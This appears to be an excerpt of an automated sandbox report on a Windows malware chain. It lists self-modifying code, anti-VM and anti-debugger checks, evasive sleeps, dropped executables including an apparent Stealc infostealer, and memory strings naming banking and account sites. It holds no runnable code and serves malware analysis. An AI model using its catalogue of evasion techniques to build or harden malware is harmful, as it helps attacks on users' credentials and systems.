Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: DDE897 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: DDE77C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: F99E69 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: FC5B0F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: FA75F9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 73E897 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 73E77C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 8F9E69 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 925B0F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 9075F9 instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Memory allocated: 9C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Memory allocated: 27A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Memory allocated: D40000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: 15A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: 3280000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: 5280000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Memory allocated: 1330000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Memory allocated: 3000000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Memory allocated: 5000000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Memory allocated: 1000000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Memory allocated: 2D50000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Memory allocated: 4D50000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Memory allocated: 2D00000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Memory allocated: 2F00000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Memory allocated: 2D40000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Memory allocated: 1190000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Memory allocated: 29E0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Memory allocated: 2830000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: B40000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: 2850000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: 4850000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Memory allocated: 1250000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Memory allocated: 3030000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Memory allocated: 2D60000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Memory allocated: 1700000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Memory allocated: 30C0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Memory allocated: 50C0000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Memory allocated: C50000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Memory allocated: 27C0000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Memory allocated: 26C0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Memory allocated: BA0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Memory allocated: 27E0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Memory allocated: 47E0000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_05400E16 rdtsc 0_2_05400E16
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window / User API: threadDelayed 2259 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Window / User API: threadDelayed 913 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Window / User API: threadDelayed 650 Jump to behavior
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Window / User API: threadDelayed 1962
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Window / User API: threadDelayed 1804
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Window / User API: threadDelayed 2687
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Window / User API: threadDelayed 2279
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Window / User API: threadDelayed 2906
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Window / User API: threadDelayed 636
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\ssleay32.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\neon[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\is-8M782.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-FGF43.tmp\_isetup\_setup64.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\libssl-1_1.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\is-S5HN7.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\is-65AJA.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\uninstall\is-4OQD3.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000355001\2a8f2f9086.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\is-NSLMU.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\msvcr71.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-FGF43.tmp\_isetup\_shfoldr.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\msvcp71.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\libeay32.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-FGF43.tmp\_isetup\_iscrypt.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\is-AMTS2.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\Qt5OpenGL.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\is-0DA5B.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000354001\c9a37ab27e.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Fido Video Recorder\uninstall\unins000.exe (copy) Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API coverage: 9.8 %
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe API coverage: 9.4 %
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe API coverage: 3.4 %
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe API coverage: 1.4 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6476 Thread sleep count: 38 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6476 Thread sleep time: -76038s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6460 Thread sleep count: 149 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6460 Thread sleep time: -298149s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1848 Thread sleep count: 177 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1848 Thread sleep time: -5310000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5252 Thread sleep count: 129 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5252 Thread sleep time: -258129s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6544 Thread sleep count: 2259 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6544 Thread sleep time: -4520259s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6204 Thread sleep count: 156 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6204 Thread sleep time: -312156s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3780 Thread sleep time: -540000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1848 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe TID: 6800 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5684 Thread sleep time: -8301034833169293s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6716 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe TID: 4676 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe TID: 5888 Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe TID: 2636 Thread sleep count: 1962 > 30
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe TID: 2636 Thread sleep count: 1804 > 30
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe TID: 2252 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe TID: 3192 Thread sleep count: 245 > 30
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe TID: 3192 Thread sleep time: -7350000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe TID: 2436 Thread sleep time: -540000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe TID: 3192 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe TID: 5804 Thread sleep time: -42000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe TID: 2968 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 764 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe TID: 5940 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6324 Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6576 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe TID: 6640 Thread sleep count: 42 > 30
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe TID: 6640 Thread sleep time: -252000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe TID: 5052 Thread sleep time: -19369081277395017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe TID: 4292 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe TID: 5576 Thread sleep count: 636 > 30
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe TID: 1880 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3928 Thread sleep time: -30000s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe File opened: PhysicalDrive0
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : Select Name from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\file.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0041B6EA FindFirstFileExW, 13_2_0041B6EA
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001CD9FD FindFirstFileExW, 16_2_001CD9FD
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_0024D9FD FindFirstFileExW, 17_2_0024D9FD
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_00197C40 GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo, 16_2_00197C40
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File opened: C:\Users\user\Desktop\desktop.ini
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: ParallelsVirtualMachine
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696428655
Source: needmoney.exe, 00000016.00000000.2833755640.0000000000401000.00000020.00000001.01000000.00000017.sdmp Binary or memory string: QEMUU
Source: penis.exe, 00000018.00000002.2884267791.0000000003030000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: \qemu-ga.exe@\]q
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, Hkbsse.exe, 00000012.00000002.3336638317.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2994583849.00000000007CF000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2994583849.0000000000805000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.3345341880.0000019DEAC54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.3339769594.0000019DE562B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.3339911557.0000019DE5640000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: svchost015.exe, 00000020.00000002.3006538986.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW0S
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696428655o
